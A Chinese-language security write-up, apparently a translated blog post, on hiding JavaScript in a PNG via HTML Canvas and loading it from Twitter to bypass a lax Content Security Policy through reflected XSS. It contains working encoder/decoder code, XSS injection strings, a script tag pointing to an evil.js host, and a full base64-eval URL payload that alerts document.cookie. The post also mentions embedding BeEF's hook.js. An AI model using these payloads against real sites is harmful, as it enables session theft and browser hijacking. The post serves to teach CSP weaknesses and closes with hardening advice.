序言
将一个恶意的JavaScript库隐藏在PNG图片中,并在推特上将其发布,然后在一个存在漏洞的网站中将该图片引入,以实现绕过内容安全策略(CSP)执行XSS攻击。这并非是什么天方夜谭这都归功于HTML Canvas。
摘要
利用HTML Canvas,你可以将任何JavaScript代码(或整个库)隐藏在PNG图像中,将每个源代码字符转换为一个像素。然后,该图像可以上传到任何一个受信任的网站上,比方Twitter或是Google(通常是在CSP白名单中的),然后在HTML文档中作为远程图像加载。最后,通过使用canvasgetImageData
方法,可以从图像中提取出“隐藏的JavaScript”并将其执行。往往这一操作会实现对内容安全策略的绕过,使攻击者能够引入一整个外部的JavaScript库。
由于在防止XSS、点击劫持和其他代码注入方面攻击的效率,Content-Security-Policy(内容安全策略)响应头正被越来越多的使用。然而,许多网站为了避免误报而配置了过于宽松的策略,将整个源而不是特定的源列入了白名单,或者是使用了unsafe-inline
或unsafe-eval
的策略指令,这些行为都将有可能导致CSP策略的绕过。
在阅读一篇Mike Parsons有趣的文章时,文中展示了如何使用HTML Canvas将JavaScript代码“存储”到PNG图片中,我突然意识到这可能是一种完美的CSP绕过技术,以此来引入一个恶意的外部JavaScript库并执行XSS漏洞。基本原理就是利用CanvasRenderingContext2D中的putImageData
和getImageData
方法,以及利用String.charCodeAt
方法来表示隐藏文本字符串的每一个字符。
Canvas 2D API 中的
CanvasRenderingContext2D.putImageData()
方法能够从指定的ImageData
对象中将数据绘制到画布(canvas)上。如果是提供了一个污染的矩形,那么只有该矩形中的像素会被涂抹。这种方法不受画布变化矩形的影响。
Canvas 2D API 中的
CanvasRenderContext2D.getImageData()
方法能够返回一个表示画布指定部分底层像素数据的ImageData
对象。该方法同样不受变化矩阵的影响。如果指定的矩形超出了画布的边界,那么在返回的ImageData
对象中,画布之外的像素会是透明的黑色。
利用Canvas将文本隐藏到PNG图像中
你可以将下方示例代码复制并粘贴到浏览器的JavaScript控制台中,从一个给定的字符串开始创建一个PNG图像,比如说“Hello, World!”。打开一个新标签页,进入about:blank
,然后打开你的JavaScript控制台,将下列代码粘贴进去:
(function() {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "Hello, World!";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
上述代码利用putImageData
方法创建了一个图片文件,在“Hello, World!”中每3个一组的字符,分别表示每个像素的RGB(红、绿、蓝)的级别。在浏览器控制台运行该代码段后,你会在左上方看到一个小图像:
正如我之前所说,上方图像的每一个像素代表着”隐藏字符串“的每3个字符。利用charCodeAt
函数,我可以将每一个字符转换成0
到65535
之间的整型数值,代表其UTF-16编码的单位。在单一像素中,第一个转换的字符代表红色通道,第二个代表绿色通道,最后一个代表蓝色通道。第四个值为alpha值,在我们的示例中它一直都会是255。如下:
r = "H".charCodeAt(0)
g = "e".charCodeAt(0)
b = "l".charCodeAt(0)
a = 255
j.data = [r,g,b,a,...]
在下方示意图中,我会试图更清晰的解释每一个字符串的字符是如何分布到ImageData
数组中的:
这样一来,我们就有了一个表示”Hello, World!“字符串的PNG图像了。然后你可以在你的JavaScript控制台中复制并粘贴下列代码,将生成的PNG图像转换为原文本字符串:
t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;
正如你所看到的那样,JavaScript代码选择了刚刚创建的图像元素,并使用getImageData
方法,将其转换为原文本字符串。当使用getImageData
方法时,实际发生的是,你获取到一个带有data
属性的ImageData
对象,而data
属性中包含着一个大数组。如之前所说,对于每个像素,ImageData
数组中有四个条目:r
、g
、b
和alpha
。所以这个数据看上去就会像这样:[pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB, pixelNAlpha]
。
一个存在漏洞的网站
现在我们知道了如何将文本字符串”存储“到图像中,以及如何将图像转换回原文本字符串。假设现在在PNG图像中隐藏的是一段JavaScript代码,而不是一个简单的文本字符串,并在Twitter将该图像上传发布。内容安全策略一般会将来自Twitter的图像来源设为白名单,这样就有可能实现通过一个“受信任的”源加载JavaScript来绕过内容安全策略执行XSS攻击。
我已经创建了一个有意存在漏洞的web应用,并用它来测试这项技术。该web应用使用了一个防止外部JavaScript资源加载的内容安全策略:
正如你所看到的,该应用使用的内容安全策略,允许来自”self(自身)“和Twitter的图片资源,并允许来自”self“、”inline“和”eval“的JavaScript脚本加载。但不幸的是,有许多网站在配置script-src
策略指令时,允许使用unsafe-inline
和unsafe-eval
以避免误报。此外,许多网站还将整个域而不是特定的资源列入了白名单。
如果你认为这种配置很罕见,不会有人在script-src
指令上使用”unsafe-inline
“和”unsafe-eval
“的话,那就错了。通过最近对Alexa排名前1,000,000站点的爬取,发现将近有超过5000个网站正在script-src
或default-src
中配置使用了”unsafe-inline
“和”unsafe-eval
“的策略指令:
该网站的漏洞出现在lang
查询字符串参数中,由于未对用户输入作无害化处理,导致出现了HTML注入和反射型XSS漏洞。为了利用这个测试web应用的XSS漏洞,我需要插入HTML语句来关闭src
属性并且添加一个SCRIPT标签,然后再注入JavaScript代码,如:?lang="><script>alert(1)</script>
。
接下来我就需要绕过CSP,并且引入一个像是?lang="><script+src="//example.com/evil.js"></script>
这种被CSP拦截的外部JavaScript库:
上述截图中显示了CSP是如何阻止example.com/evil.js的外部JavaScript文件,因为它违法了script-src
策略指令。
上传PNG/JS到Twitter
但在我做了一些测试之后,我发现如果上传图片太小的话,Twitter会报一个错误。所以我又用了一段很长的JavaScript代码(其中包括了一些随机的注释)来创建一个更大的图像文件:
(function() {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "function asd() {\
var d = document;\
var c = 'cookie';\
alert(d[c]);\
};asd();/*Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam aliquam blandit metus vel elementum. Mauris mi tortor, congue eget fringilla id, tempus a tellus. Morbi laoreet vitae ipsum vel dapibus. Nunc eu faucibus ligula. Donec maximus malesuada justo. Nulla congue, risus quis dapibus porttitor, metus quam rutrum dolor, ac maximus nibh metus quis enim. Aenean hendrerit venenatis massa ac gravida. Donec at nisi quis ex sollicitudin bibendum sit amet ac quam.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Vestibulum tincidunt diam vel diam semper posuere. Nulla facilisi. Curabitur a facilisis lorem, eu porta leo. Sed pharetra eros et malesuada mattis. Donec tincidunt elementum mauris quis commodo. Donec nec vulputate nulla. Nunc luctus orci lacinia nunc sodales, vitae cursus quam tempor. Cras ullamcorper ullamcorper urna vitae pulvinar. Curabitur ac pretium felis. Vivamus vel scelerisque nisi. Pellentesque lacinia consequat nibh, vitae rhoncus tellus faucibus eget. Ut pulvinar est non tellus tristique sodales. Aenean eget velit non turpis tristique pretium id eu dolor. Nulla sed eros quis urna facilisis scelerisque. Nam orci neque, finibus eget odio et, elementum finibus erat.*/";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
然后我把它上传到了Twitter。
通过将位于Twitter的图片加载到一个IMG标签中,我们可以将其转换为原先隐藏的JavaScript代码。正如你在下方截图中看到的那样,该图片中包含一个执行document.cookie
的alert
弹框的JavaScript函数:
接下来,让我们利用eval
函数将这段JavaScript代码在我的漏洞测试web中执行。
漏洞利用:绕过CSP
正如我之前所说,要想执行测试web应用中漏洞,我需要向IMG标签中插入类似?lang="><script>alert(1)</script>
的HTML语句来关闭src
属性。
为了引入来自Twitter的远程图片,我可以直接发送如下请求:
红色部分为我们恶意PNG图像的Twitter URL。蓝色部分是注入点id
属性,以便于更容易地选择IMG标签。绿色部分是一个A标签,只是为了防止破坏HTML语法。现在我只需要插入几行JavaScript,将图片转换为外部JavaScript,并绕过CSP:
t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)
我将其转为base64编码并且在一个eval(atob("base64-encoded-js"))
使用它,然后我将它插入到onload
属性中:
onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp"))'
然后它又变成了这样(橙色部分):
将整个payload发送后,我收到一条执行getImageData
的报错信息”The canvas has been tainted by cross-origin data(canvas已被跨源数据污染)“。
通过阅读该文档,得知我的浏览器似乎有意在图片跨源加载时阻止了getImageData
等方法的执行。看来我还需要插入crossorigin
属性:
HTML为图像提供了一个
crossorigin
属性,可以与适当的CORS头结合使用,并且允许在<img>
元素中定义的、从外部源加载的图像在<canvas>
中使用,就如同在当前源中加载一样。
由于canvas位图中的像素可能来自于各种不同的源,包括从其他主机检索获取的图像或视频,因此不可避免地会出现安全问题。只要你把未经CORS批准从另一个资源加载的任何数据绘制到canvas上,canvas就会受到污染。且受污染的canvas不再被认为是安全的,任何试图从canvas获取图像数据的行为都会引发异常。如果外部源是一个HTML的
<img>
或<svg>
元素,试图检索获取canvas内容的行为也是不允许的。
幸运的是,Twitter为所有上传的图片都添加了Access-Control-Allow-Origin:
响应头 ,这就意味着我只需要向IMG标签中插入值为”anonymous“的crossorigin
属性就可以正常运行了。
通过插入值为”anonymous“的crossorigin
属性,所有的工作都符合预期了,我成功执行了该函数alert(document.cookie)
,如下所示:
这是我使用的完整payload:
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+crossorigin=%22anonymous%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22
转换BeEF中的hook.js
以下是将BeEF中hook.js转换为PNG图像文件的测试。BeEF是一款浏览器漏洞利用框架,一款针对web浏览器的渗透测试工具(你可以在BeEF的项目网站中了解更多信息)。首先我使用命令curl -s 'http://localhost:3000/hook.js' | base64 -w0
将其进行base64编码,然后我创建了像之前那样的图像。
总结
我通过加载一个隐藏在Twitter上传PNG图片中的外部JavaScript库,成功的绕过了一个网站的内容安全策略。主要是因为CSP策略配置得过于宽松才导致了这次绕过的成功,而且Twitter向所有上传的图片发送了一个允许访问任意源响应头(通配符*)。我猜测,同样的技术在其他的社交网络中应该同样有效,这就是为什么你永远不应该在CSP策略中使用“unsafe-inline
”和“unsafe-eval
”策略指令。如果你想改善你的CSP配置,可以从这里找到一个有用的在线工具,以便于检查你的策略配置,并且还会提供一些不错的修复建议。
原文参考
- https://hackernoon.com/host-a-web-app-on-twitter-in-a-single-tweet-9aed28bdb350
- https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData
- https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData
- https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image
- https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/crossorigin
- https://csp-evaluator.withgoogle.com/